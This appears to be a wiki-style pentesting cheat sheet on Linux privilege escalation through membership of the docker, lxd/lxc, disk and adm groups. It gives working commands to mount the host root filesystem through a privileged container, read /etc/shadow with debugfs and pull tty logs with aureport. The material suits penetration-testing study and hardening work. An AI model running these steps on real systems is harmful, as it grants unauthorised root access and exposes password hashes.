Linux Privilege Escalation with Groups
Contains the details of the topic Privilege Escalation/Linux/Functionality/Groups.
Docker
A Docker socket is a special file that allows us and processes to communicate with the Docker daemon. This communication is done through a Unix socket or a network socket, depending on the configuration of our Docker setup. It acts as a bridge, facilitating communication between the Docker client and the Docker daemon.
Identify where
docker.sockis found (usually in/var/run).Check if you have
dockergroup, docker with SUID, docker in sudoers ordocker.sockis writableIf it is not present on the host, upload docker. Download HERE.
docker run -v /root:/mnt -it ubuntuLXD / LXC
Linux Containers (LXC) is an operating system-level virtualization technique that allows multiple Linux systems to run in isolation from each other on a single host, owning their own processes but sharing the host system kernel for them.
Linux Daemon (LXD) is similar in some aspects, but it is designed to contain a complete operating system. So it is not an application container, but a system container.
We must be in the lxco lxd group.
Initialization
lxd initImport images (use those on the system or download alpine)
lxc image import alpine.tar.gz --alias alpineDisplay imported list
lxc image listStart a privileged container with the security.privileged (root user in the container equal to the root user on the host)
lxc init alpine r00t -c security.privileged=trueMount the host file system
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=trueGenerate a shell within the container instance and explore the host file system.
lxc start r00tlxc exec r00t /bin/shcd /mnt/root/rootdisk
All access in /dev, debugfs to access the entire file system
df -hdebugfs <Filesystem>
# see Filesystem & Mounted onex.
debugfs /dev/sda2
> cd /root
> cat /etc/shadowadm
Read sensitive data in /var/log, cron jobs running, etc.
We can try with aureport
aureport --tty | lessLast updated
Was this helpful?